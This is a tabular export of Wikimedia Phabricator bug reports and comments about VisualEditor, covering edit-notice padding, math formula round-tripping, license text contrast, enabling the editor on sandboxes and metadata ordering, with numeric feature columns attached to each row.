We are rethinking the editnotices design/content and right now they look somewhat awkward within this asymmetrical padding. If someone ever need a margin it can be done within the editnotices itself, but this mandatory padding limits the design a lot.",,,1375490603,,PHID-USER-2u4zc7zmyw5qldxupou6,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,False,,,4,,0.0,1.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,2.0,1.0,6.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,7.0,4.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,9.0,2.0,7.0,1.0,4.0,11.0,0.0,1.0,0.0,0.0,4.0,1.0,1.0,0.0,7.0,9.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,0.0,4.271604938271605,0.8024691358024691,"Hi James,

I don't know what mean you by normal edit notices :) A simple 100% div, with background color but without padding would look weird inside the flyout.
We are rethinking the editnotices design/content and right now they look somewhat awkward within this asymmetrical padding. If someone ever need a margin it can be done within the editnotices itself, but this mandatory padding limits the design a lot."
245043,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"(In reply to comment #0)
> An editor from pt.wikipedia writes:
> 
> [E]ditnotices seems strange inside the flyout because there's a weird padding
> inside the popup, without the padding the templates would look nicer (there´s
> already padding in most edinotices templates by default). Dianakc (talk)
> 23:56,
> 6 July 2013 (UTC)

I'm not sure that it's a better solution to get editors to make edit notices in uneditable HTML boxes, rather than the padding be system-level. The padding is designed to take normal edit notices; if you make fancy ones that break, the onus is generally on you. :-)

Note that we're planning on having setting/editing/removing page-level edit notices built into VisualEditor in the next few months, which will make enwiki's solution available to all wikis.",,,1373303074,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,True,,,1,,1.5,0.0,0.0,0.5,0.5,5.5,1.0,0.0,0.0,1.0,2.5,1.5,0.0,0.0,0.0,1.5,0.0,2.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,4.0,0.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,16.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,2.0,7.0,2.0,0.0,5.0,0.0,1.0,0.0,0.5,4.5,0.0,0.5,0.0,3.5,10.0,4.0,0.0,0.0,0.0,3.5,0.0,1.5,0.5,0.0,2.5,0.5,0.0,0.0,3.788135593220339,0.7796610169491525,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I'm not sure that it's a better solution to get editors to make edit notices in uneditable HTML boxes, rather than the padding be system-level. The padding is designed to take normal edit notices; if you make fancy ones that break, the onus is generally on you. :-)

Note that we're planning on having setting/editing/removing page-level edit notices built into VisualEditor in the next few months, which will make enwiki's solution available to all wikis."
52938,Messing up Math formulas,"Several concerns noted about VisualEditor messing with math formulas when (evidently) the user was not attempting to edit the formula at all.

https://en.wikipedia.org/w/index.php?title=Raising_and_lowering_indices&curid=11325244&diff=563062676&oldid=560490441

https://en.wikipedia.org/w/index.php?title=Regression_analysis&curid=826997&diff=563265603&oldid=561802206

https://en.wikipedia.org/w/index.php?title=Bipartite_double_cover&curid=21241712&diff=563327691&oldid=554035797

I'm not sure if this is related to an existing bug or a different kind of thing.

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1373289300,1373592757.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_description,resolved,True,c1,3,False,False,True,1,,3.0,0.0,0.0,1.0,3.0,7.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,3.0,12.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,10.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,3.0,0.0,4.0,0.0,0.0,0.0,3.9565217391304346,0.7246376811594203,"Several concerns noted about VisualEditor messing with math formulas when (evidently) the user was not attempting to edit the formula at all.

URL

URL

URL

I'm not sure if this is related to an existing bug or a different kind of thing.

--------------------------
**Version**: unspecified
**Severity**: normal"
243930,Messing up Math formulas,"**cbm.wikipedia** wrote:

This is a duplicate of bug 50291. It is a round tripping error in VisualEditor.

%%%*** This bug has been marked as a duplicate of bug 50291 ***%%%",,,1373592757,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.979591836734694,0.4897959183673469,"**cbm.wikipedia** wrote:

This is a duplicate of bug 50291. It is a round tripping error in VisualEditor.

%%%*** This bug has been marked as a duplicate of bug 50291 ***%%%"
243925,Messing up Math formulas,"The changes don't actually change the visual output. Just the way italics (used to mark variables) and superscript and subscript tags interact. So it might change ''e''<sup>''x''</sup> to ''e<sup>x</sup>'' you could say the former is better semantically. Other cases will split a complex superscript into two separate subscripts  ''K''<sub>''n'',''n''</sub> into ''K<sub>n</sub>''<sub>,''n''</sub>, visually the same but worse semantically.

Marking as low priority as no visible change.",,,1373290493,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-tlllnzr2q3k5zu3yv6nh,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,1.0,12.0,1.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,3.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,8.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,12.0,4.559139784946237,0.7311827956989247,"The changes don't actually change the visual output. Just the way italics (used to mark variables) and superscript and subscript tags interact. So it might change ''e''<sup>''x''</sup> to ''e<sup>x</sup>'' you could say the former is better semantically. Other cases will split a complex superscript into two separate subscripts  ''K''<sub>''n'',''n''</sub> into ''K<sub>n</sub>''<sub>,''n''</sub>, visually the same but worse semantically.

Marking as low priority as no visible change."
52904,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance","The save dialog uses a gray color on a very small text. This isn't good for contrast, and gives it rather 'light' color which might communicate a 'disabled' state to some users, which you don't want with a license text.

Just as with Special:UserLogin, I think we should switch to a slightly darker gray on small text.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373232780,1483659684.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-caadsxn4xg5gmxrpn6kz,False,PHID-TASK-3ydcw352v55xv74m7jhi,task_description,resolved,True,c1,3,True,False,False,0,,1.0,0.0,1.0,0.0,2.0,10.0,1.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,2.0,0.0,7.0,9.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,1.0,9.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,4.0,0.0,4.0,0.0,2.0,6.0,0.0,0.0,1.0,0.0,0.0,3.7777777777777777,0.6444444444444445,"The save dialog uses a gray color on a very small text. This isn't good for contrast, and gives it rather 'light' color which might communicate a 'disabled' state to some users, which you don't want with a license text.

Just as with Special:UserLogin, I think we should switch to a slightly darker gray on small text.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
787972,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance",This has been [[ https://phabricator.wikimedia.org/rEVED48db1c16f81091f62d82539b2a41fede49ba7915 | changed to `#54595d` in wmf/1.29.0-wmf.7 ]] and fulfills WCAG 2.0 level AAA conformance.,,,1483659684,,PHID-USER-caadsxn4xg5gmxrpn6kz,False,,,PHID-TASK-3ydcw352v55xv74m7jhi,task_subcomment,,True,c1,3,True,,,183,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.6666666666666665,0.9166666666666666,This has been [[ URL | changed to CODE in wmf/1.29.0-wmf.7 ]] and fulfills WCAG 2.0 level AAA conformance.
241927,"VisualEditor: License text in save dialog is light gray, giving it a 'disabled' appearance",The meta-design of the save process for wikitext and for VisualEditor are being reviewed by Design and by Legal right now; hopefully there'll be an update soon enough.,,,1385380440,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ydcw352v55xv74m7jhi,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,12.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,15.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.242424242424242,0.9090909090909091,The meta-design of the save process for wikitext and for VisualEditor are being reviewed by Design and by Legal right now; hopefully there'll be an update soon enough.
52883,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Perhaps when the [[WP:Tutorial]] on enwiki is updated for VE, we will want to enable VE on the tutorial sandboxes.

Also, when VE is enabled for anonymous editors, we might want to turn on VE in the enwiki [[WP:Sandbox]], because otherwise anons won't have anywhere to play with VE (they cannot create user pages).

Perhaps a category (similar to the way AFTv5 does it) or MediaWiki page (like Echo blacklist) would be the way to do it.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373193180,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-cudr7dbtubp7jj3ldgha,task_description,open,True,c1,3,False,False,,0,,0.0,0.0,0.0,1.0,1.5,2.5,1.0,0.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,5.5,8.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,4.0,2.0,10.5,1.5,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5,8.5,7.0,0.0,0.0,0.0,3.5,0.0,1.0,1.0,0.0,0.0,0.0,0.0,3.0,3.540322580645161,0.6370967741935484,"Perhaps when the [[WP:Tutorial]] on enwiki is updated for VE, we will want to enable VE on the tutorial sandboxes.

Also, when VE is enabled for anonymous editors, we might want to turn on VE in the enwiki [[WP:Sandbox]], because otherwise anons won't have anywhere to play with VE (they cannot create user pages).

Perhaps a category (similar to the way AFTv5 does it) or MediaWiki page (like Echo blacklist) would be the way to do it.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
2386815,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"It’s great that enabling VE in Wikipedia namespace is less risky now, but I think the current feature request (enabling it more granularly than on the namespace level) is still valid, exactly because of the limitations (risks) you’ve mentioned.",,,1722169176,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,577,,0.0,0.0,0.0,0.0,0.0,10.0,4.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,8.0,4.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,4.291666666666667,0.8333333333333334,"It’s great that enabling VE in Wikipedia namespace is less risky now, but I think the current feature request (enabling it more granularly than on the namespace level) is still valid, exactly because of the limitations (risks) you’ve mentioned."
2385989,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Turning VE on at Wikipedia: namespace was a problem as some pages at this namespace are used for discussions. The visual editor is not designed to handle discussions, but Discussion tools are. Now that DT is available everywhere,[[ https://www.mediawiki.org/wiki/Help:VisualEditor/FAQ#WPNS |  it is possible to enable VE at namespaces that are used for discussions, with limitations ]]. ",,,1721988681,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,577,,1.0,0.0,0.0,4.0,1.0,4.0,4.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,16.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,3.0,0.0,1.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,10.0,13.0,1.0,1.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,16.0,6.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.0,4.134328358208955,0.7014925373134329,"Turning VE on at Wikipedia: namespace was a problem as some pages at this namespace are used for discussions. The visual editor is not designed to handle discussions, but Discussion tools are. Now that DT is available everywhere,[[ URL |  it is possible to enable VE at namespaces that are used for discussions, with limitations ]]. "
1743605,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"This is a huge pain point, newbies cannot try out the tool in the sandbox that was created specifically for them…

>>! In T52883#5193760, @matmarex wrote:
> You can put a big blue button or something with such a link on sandbox pages, see e.g. <https://de.wikipedia.org/wiki/Wikipedia:Spielwiese>.
This has three issues:
* The link is not where it is on other pages. On the one side, it’s more prominent, which is good, but on the other side, it’s inconsistent, which is bad.
* It uses an external link, which means that
** the domain name is fixed, it’s `de.wikipedia.org` even if the user browses through `de.m.wikipedia.org` (i.e. mobile view); if they’re not redirected back to the mobile site automatically, they find themselves in a totally different interface than where they were;
** a new page load is initiated upon clicking, in contrast to the usual VE loading, where the page isn’t entirely reloaded.",,,1624489831,,PHID-USER-ocqnoktaualicuvge2tu,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,416,,0.0,0.0,1.0,2.5,1.5,6.0,2.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,9.5,1.0,2.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,15.5,1.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,8.0,5.5,5.5,4.0,0.5,10.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,5.5,9.0,1.0,0.0,0.0,0.0,5.5,0.0,4.0,2.0,1.0,0.0,0.5,0.0,0.5,3.597560975609756,0.6768292682926829,"This is a huge pain point, newbies cannot try out the tool in the sandbox that was created specifically for them…

QUOTE
QUOTE
This has three issues:
* The link is not where it is on other pages. On the one side, it’s more prominent, which is good, but on the other side, it’s inconsistent, which is bad.
* It uses an external link, which means that
** the domain name is fixed, it’s CODE even if the user browses through CODE (i.e. mobile view); if they’re not redirected back to the mobile site automatically, they find themselves in a totally different interface than where they were;
** a new page load is initiated upon clicking, in contrast to the usual VE loading, where the page isn’t entirely reloaded."
1283553,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"Also, note that the &veaction=edit URL parameter can now also be used to open VE on pages where it's normally not available (T221892). You can put a big blue button or something with such a link on sandbox pages, see e.g. <https://de.wikipedia.org/wiki/Wikipedia:Spielwiese>.",,,1558194860,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,True,,,306,,0.0,2.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,12.0,4.0,4.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.0,10.0,4.0,0.0,0.0,0.0,4.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.5576923076923075,0.8846153846153846,"Also, note that the &veaction=edit URL parameter can now also be used to open VE on pages where it's normally not available (T221892). You can put a big blue button or something with such a link on sandbox pages, see e.g. <URL"
1283550,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"If we ever do it, I think it should be done using a double-underscore keyword placed on the page (or in a transcluded template), e.g. `__VISUALEDITOR__`. This would be analogous to e.g. the `__NEWSECTIONLINK__` keyword.",,,1558194738,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,True,,,306,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,9.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,5.0,12.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,9.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.604651162790698,0.7906976744186046,"If we ever do it, I think it should be done using a double-underscore keyword placed on the page (or in a transcluded template), e.g. CODE. This would be analogous to e.g. the CODE keyword."
240782,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"While bug 55900 now allows logged-out users to invoke VE in the namespaces where it is already available, in the meantime I hope communities created temporary sandboxes in one of said namespaces :) (The Italian one did, it's basically a subpage of mine).",,,1388962544,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,26,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,16.0,0.0,2.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,2.0,10.0,4.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,8.0,16.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.1568627450980395,0.8431372549019608,"While bug 55900 now allows logged-out users to invoke VE in the namespaces where it is already available, in the meantime I hope communities created temporary sandboxes in one of said namespaces :) (The Italian one did, it's basically a subpage of mine)."
240777,VisualEditor: Provide some way of enabling VE on arbitrary pages for all users (e.g. non-ns0 sandboxes),"For the record: on ptwiki we also have a few sandboxes on Project namespace:
[[pt:Special:PrefixIndex/WP:Página_de_testes/]]",,,1373856039,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-cudr7dbtubp7jj3ldgha,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,20.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7,0.7666666666666667,"For the record: on ptwiki we also have a few sandboxes on Project namespace:
[[pt:Special:PrefixIndex/WP:Página_de_testes/]]"
52882,VisualEditor: Place page meta-data in expected order,"**Author:** `KilliondudeWP`

**Description:**
1) Have categories on a page with a stub tag underneath - https://en.wikipedia.org/w/index.php?title=Rosebud_Ranch&oldid=563208475 (note that this is SOP on enwiki per https://en.wikipedia.org/wiki/Wikipedia:ORDER#ORDER )

2) Edit the categories using VE to deleted one and modify another - https://en.wikipedia.org/w/index.php?title=Rosebud_Ranch&diff=563208669&oldid=563208475

3) End up with newly formed category underneath the stub template as well as some line breaks taken out. 

I reported this in #mediawiki-visualeditor while everyone was sleeping. This is something that might just need an enwiki fix since we like to put stub tags under categories.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
* {T51143}
* {T55508}
* {T74048}",Low,25.0,1373181360,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-zg7dy72bmhpynpamskgq,task_description,open,True,c1,3,False,False,,0,,0.5,1.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,3.0,9.5,1.5,1.0,0.0,1.5,0.0,1.5,0.0,0.0,1.0,0.5,0.0,0.5,2.5,1.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.5,14.0,2.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.5,2.0,11.5,2.0,0.5,5.5,0.0,0.0,0.0,0.5,3.5,0.0,1.5,0.0,1.5,9.5,4.5,0.0,0.0,0.0,1.5,0.0,0.5,1.5,0.0,1.0,0.0,0.0,0.5,3.5235087719298246,0.6752631578947368,"**Author:** CODE

**Description:**
1) Have categories on a page with a stub tag underneath - URL (note that this is SOP on enwiki per URL )

2) Edit the categories using VE to deleted one and modify another - URL

3) End up with newly formed category underneath the stub template as well as some line breaks taken out. 

I reported this in #mediawiki-visualeditor while everyone was sleeping. This is something that might just need an enwiki fix since we like to put stub tags under categories.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
* {T51143}
* {T55508}
* {T74048}"
442015,VisualEditor: Place page meta-data in expected order,"There's also an inconsistency in how VE inserts `{{DEFAULTSORT}}` and categories.

If you edit the page's properties to add a `{{DEFAULTSORT}}`, apply, then edit the properties again to add a category, then the `{{DEFAULTSORT}}` is added before the category, as is usually expected based on community guidelines.

However, if you do the sequence in the other order (add a category first, apply, then edit the properties again to add a `{{DEFAULTSORT}}`), then the `{{DEFAULTSORT}}` is added //after// the categories.

Since the user doesn' t have a way to specify or change that order, VE should be consistent in how it outputs them in the wikitext.
",,,1428688398,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-zg7dy72bmhpynpamskgq,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,2.0,0.0,1.5,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.5,0.0,0.0,7.5,9.0,0.0,2.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.5,1.0,4.0,1.0,0.0,0.0,0.0,1.5,0.0,1.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,13.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,2.5,6.5,3.0,1.5,12.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,2.5,9.0,3.5,0.0,1.0,0.0,2.5,0.0,1.5,4.0,1.0,0.0,0.0,0.0,0.0,3.8095238095238093,0.6852678571428572,"There's also an inconsistency in how VE inserts CODE and categories.

If you edit the page's properties to add a CODE, apply, then edit the properties again to add a category, then the CODE is added before the category, as is usually expected based on community guidelines.

However, if you do the sequence in the other order (add a category first, apply, then edit the properties again to add a CODE), then the CODE is added //after// the categories.

Since the user doesn' t have a way to specify or change that order, VE should be consistent in how it outputs them in the wikitext.
"
